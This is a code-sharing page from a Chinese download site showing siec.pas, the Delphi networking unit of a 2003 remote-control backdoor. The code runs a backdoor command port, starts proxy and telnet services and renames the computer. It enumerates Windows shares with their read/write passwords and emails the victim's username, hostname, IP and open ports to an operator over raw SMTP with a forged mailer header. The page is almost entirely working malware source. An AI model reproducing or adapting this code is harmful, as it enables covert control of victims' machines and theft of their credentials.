⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 siec.pas

📁 2003年的远程控制
💻 PAS
📖 第 1 页 / 共 2 页
字号:
 debug('1>'+tx);
 xlog('1>'+tx);
until (linia_scl<bufmax);
PROXY_client_push(form1.clisock.socket);
end;

procedure PROXY_client_read(socket:TCustomWinSocket);
var tx:string;
begin
repeat
 tx:=socket.receivetext;
 if tx='' then break;
 inc(linia_csl);
 linia_cs[linia_csl]:=tx;
 if NET_dump2 then xsend2(tx);
 debug('2>'+tx);
 xlog('2>'+tx);
until (linia_csl<bufmax);
PROXY_server_push(form1.servsock.Socket.Connections[0]);
end;

procedure PROXY_client_connect(socket:TCustomWinSocket);
begin
linia_scl:=0;
linia_csl:=0;
k1_conected:=true;
xlog(c_cconn+socket.RemoteHost+' ['+
   socket.RemoteAddress+'] : '+inttostr(socket.RemotePort));
k2_conected:=false;
form1.clisock.active:=true;
end;

procedure PROXY_server_connect(socket:TCustomWinSocket);
begin
xlog(c_sconn);
k2_conected:=true;
end;

procedure PROXY_client_disconnect(socket:TCustomWinSocket);
begin
xlog(c_cdisc);
form1.clisock.close;   {new}
end;

procedure PROXY_server_disconnect(socket:TCustomWinSocket);
begin
xlog(c_cdisc);
form1.servsock.active:=true;
end;

procedure BACK_connect(socket:TCustomWinSocket);
begin
if backclient then
 begin
 socket.close;
 exit;
 end;
backclient:=true;
NET_dump1:=false;
NET_dump2:=false;
autorized:=false;
end;

procedure BACK_disconnect(socket:TCustomWinSocket);
begin
backclient:=false;
end;

procedure wyslijlist;
begin
if NET_mailto='' then exit;
form1.sendmail.active:=false;
form1.sendmail.port:=25;
if net_mailhost[1] in ['1'..'9'] then
 form1.sendmail.address:=net_mailhost else
form1.sendmail.host:=net_mailhost;
form1.sendmail.active:=true;
end;

procedure NET_addstatus;
begin
NET_mailbody.add('version: '+progname);
NET_mailbody.add('user: '+getnetusername);
NET_mailbody.add('host: '+hostname);
NET_mailbody.add('ident: '+config.info);
if backdoor then
NET_mailbody.add('backdoor: '+inttostr(NET_backport)+nl)
else NET_mailbody.add('backdoor: closed');
NET_mailbody.add('Httpd port: '+inttostr(httpd_port)+nl);
if proxy_started then
 NET_mailbody.add('proxy: started'+nl)
 else NET_mailbody.add('proxy: stopped'+nl);
NET_mailbody.add('Remote :'+NET_proxyhost+':'+inttostr(NET_proxyremote)+nl);
NET_mailbody.add('Local port :'+inttostr(NET_proxylocal)+nl);
NET_mailbody.add('Telnet port :'+inttostr(NET_telnetport)+nl);
end;

procedure NET_mailstatus(par:string);
begin
repeat
  Application.processmessages;
until not net_mailsending;
NET_mailsent:=false;
NET_mailsending:=true;
NET_mailto:='<'+par+'>';
NET_subject:='tajna wiadomosc';
NET_clear:=true;
NET_mailbody.clear;
NET_subject:=defsubject+config.info+' '+hostname;
add_ipnumber:=true;
net_addstatus;
form1.sendmail.active:=false;
debug(net_mailhost);
form1.sendmail.port:=25;
if net_mailhost[1] in ['1'..'9'] then
 form1.sendmail.address:=net_mailhost else
form1.sendmail.host:=net_mailhost;
form1.sendmail.active:=true;
end;

procedure sharing_pass;
var Count : Word;
    i,netresult:integer;
    Shares : TShareArray;
    Total,Current:Word;
begin
Netresult:=ShareEnum(nil,50,@Shares,sizeof(Shares),Count,Total);
if total=0 then exit;
xsend(Inf_sharestart);
//xsend(Inf_share+'name,type,path,ro_password,rw_password,remark');
for i:=0 to Total-1 do
 begin
 xsend(Inf_share+'Share '+Shares[i].shi50_netname+'/'+STYPE[Shares[i].shi50_type]);
 xsend(inf_share+'Path  '+Shares[i].shi50_path);
 xsend(inf_share+'RO/RW '+Shares[i].shi50_ro_password+'/'+Shares[i].shi50_rw_password);
 xsend(inf_share+'Info  '+Shares[i].shi50_remark);
 end;
end;

function NET_commands(comm,par1,par2:string):boolean;
begin
result:=true;
if comm='DUMPCLIENT' then NET_dump1:=T_Zerojeden(par1)
else if comm='DUMPSERVER' then NET_dump2:=T_Zerojeden(par1)
else if comm='DUMPOFF' then begin  NET_dump1:=false; NET_dump2:=false;  end
else if comm='IF_CONNECTED' then begin
                                 boolvalue:=backclient;
                                 end
else if comm='IF_NOTCONNECTED' then begin
                                 boolvalue:=not backclient;
                                 end
else if comm='BACKPORT' then net_backport:=strtointdef(par1,defbackport)
else if comm='PROXYSTART' then proxy_start
else if comm='PROXYSTOP' then proxy_stop
else if comm='PROXYREMOTE' then reconfigremote(par1,par2)
else if comm='PROXYLOCAL' then reconfiglocal(par1)
else if comm='SETNAME' then SetComputername(Pchar(par1))
else if comm='NETCONFIGDEF' then Net_writeconfigdef
else if comm='NETCONFIGWRITE' then Net_writeconfig
else if comm='MAIL_HOST' then NET_mailhost:=par1
else if comm='MAIL_NEW' then NET_mailbody.Clear
else if comm='MAIL_FROM' then NET_mailfrom:='<'+par1plus2(par1,par2)+'>'
else if comm='MAIL_SUBJECT' then NET_subject:=par1plus2(par1,par2)
else if comm='MAIL_TEXT' then NET_mailbody.add(par1plus2(par1,par2))
else if comm='MAIL_SEND' then begin
                              NET_mailto:='<'+par1plus2(par1,par2)+'>';
                              wyslijlist;
                              end
else if comm='MAIL_ADDSTATUS' then net_addstatus
else if comm='MAIL_SENDSTATUS' then net_mailstatus(par1)
else if comm='TELNETSTART' then telnet_start
else if comm='TELNETSTOP' then telnet_stop
else if comm='TELNETPORT' then net_telnetport:=strtointdef(par1,deftelnetport)
else if comm='SHARES' then sharing_pass
else if comm='NETSTAT' then
    begin
    xsend(Inf_proxystart+t_bool(proxy_started));
    xsend(Inf_proxyremote+NET_proxyhost+':'+inttostr(NET_proxyremote));
    xsend(Inf_proxylocal+inttostr(NET_proxylocal));
    xsend(Inf_backport+inttostr(NET_backport));
    xsend(Inf_mailhost+net_mailhost);
    xsend(Inf_telnetport+inttostr(NET_telnetport));
    xsend(Inf_telnetauto+t_bool(NET_telnetauto));
    xsend(Inf_proxyauto+t_bool(NET_proxyauto));
    xsend(Inf_telnet+t_bool(form1.telnet.active));
   end
else result:=false;
end;

procedure NET_readconfig;
begin
net_backport:=T_registeryGetInteger(REG_BACKPORT,defbackport);
net_proxyhost:=T_registeryGetString(REG_PXHOST,defproxyhost);
net_proxylocal:=T_registeryGetInteger(REG_PXLOCAL,defproxylocal);
net_proxyremote:=T_registeryGetInteger(REG_PXREMOTE,defproxyremote);
net_mailhost:=T_registeryGetString(REG_SMHOST,defmailhost);
net_telnetport:=T_registeryGetInteger(REG_TPORT,deftelnetport);
net_telnetauto:=T_registeryGetBoolean(REG_TAuto,deftelnetauto);
net_proxyauto:=T_registeryGetBoolean(REG_PXAuto,defproxyauto);
end;

procedure NET_writeconfig;
begin
T_registeryWriteConfig(REG_BACKPORT,net_backport);
T_registeryWriteConfig(REG_PXLOCAL,net_proxylocal);
T_registeryWriteConfig(REG_PXHOST,net_proxyhost);
T_registeryWriteConfig(REG_PXREMOTE,net_proxyremote);
T_registeryWriteConfig(REG_SMHOST,net_mailhost);
T_registeryWriteConfig(REG_TPORT,net_telnetport);
T_registeryWriteConfig(REG_TAuto,net_telnetauto);
T_registeryWriteConfig(REG_PXAuto,net_proxyauto);
end;

procedure NET_updateconfig;
begin
NET_backport:=config.backport;
NET_proxylocal:=config.proxylocal;
NET_proxyhost:=config.proxyhost;
NET_proxyremote:=config.proxyremote;
NET_mailhost:=config.mailhost;
NET_telnetport:=config.telnetport;
NET_telnetauto:=config.telnetauto;
NET_proxyauto:=config.proxyauto;
end;

procedure NET_writeconfigdef;
begin
T_registeryWriteConfig(REG_BACKPORT,defbackport);
NET_backport:=defbackport;
T_registeryWriteConfig(REG_PXLOCAL,defproxylocal);
NET_proxylocal:=defproxylocal;
T_registeryWriteConfig(REG_PXHOST,defproxyhost);
NET_proxyhost:=defproxyhost;
T_registeryWriteConfig(REG_PXREMOTE,defproxyremote);
NET_proxyremote:=defproxyremote;
T_registeryWriteConfig(REG_SMHOST,defmailhost);
NET_mailhost:=defmailhost;
T_registeryWriteConfig(REG_TPORT,deftelnetport);
NET_telnetport:=deftelnetport;
T_registeryWriteConfig(REG_TAuto,deftelnetauto);
NET_telnetauto:=deftelnetauto;
T_registeryWriteConfig(REG_PXAuto,defproxyauto);
NET_proxyauto:=defproxyauto;
end;

procedure net_mail(socket:TCustomWinSocket);
var i,id:integer;
    tx,tmp:string;
begin
tx:=socket.receivetext;
 repeat
 if pos(nl,tx)=0 then
    tmp:=tx else begin
                tmp:=copy(tx,1,pos(nl,tx)-1);
                tx:=copy(tx,pos(nl,tx)+2,2000);
                end;
   id:=strtointdef(copy(tmp,1,pos(' ',tmp)-1),0);
   case id of
   220:begin
       socket.sendtext('HELO anonymous'+nl);
       socket.SendText('RSET'+nl);
       socket.sendtext('MAIL FROM:'+NET_mailfrom+nl);
       socket.sendtext('RCPT TO:'+NET_mailto+nl);
       socket.sendtext('DATA'+nl);
       end;
   354:begin
       socket.sendtext('X-Sender: '+NET_mailfrom+nl);
       socket.sendtext('X-Mailer: Microshit Outlook 6.0'+nl);
       socket.sendtext('Date: '+formatdatetime('ddd, d mmm yyyy h:nn:ss +0100',Now)+nl);
       socket.sendtext('To: '+NET_mailto+nl);
       socket.sendtext('From: '+NET_mailfrom+nl);
       socket.sendtext('Subject: '+NET_subject);
     if add_ipnumber then socket.sendtext('['+socket.localaddress+']');
       add_ipnumber:=false;
       socket.sendtext(nl);
       socket.sendtext('Host:'+socket.localaddress+nl);
       socket.sendtext('Mime-Version: 1.0'+nl+nl);
     if NET_mailbody.count>0 then
      for i:=0 to NET_mailbody.count-1 do socket.sendtext(NET_mailbody.strings[i]+nl);
       socket.sendtext(nl+'.'+nl);
       socket.sendtext('QUIT'+nl);
       sleep(2000);
       socket.close;
       NET_mailsent:=true;
       end;
   end;
  debug('@'+tmp);
 until pos(nl,tx)=0;
end;

begin
proxy_started:=false;
k1_conected:=false;
k2_conected:=false;
backdoor:=false;
backclient:=false;
NET_mailfrom:=defmailfrom;
NET_mailto:='';
NET_subject:=defsubject;
NET_mailbody:=TStringList.Create;
NET_clear:=false;
NET_mailsending:=false;
NET_mailsent:=false;
add_ipnumber:=false;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -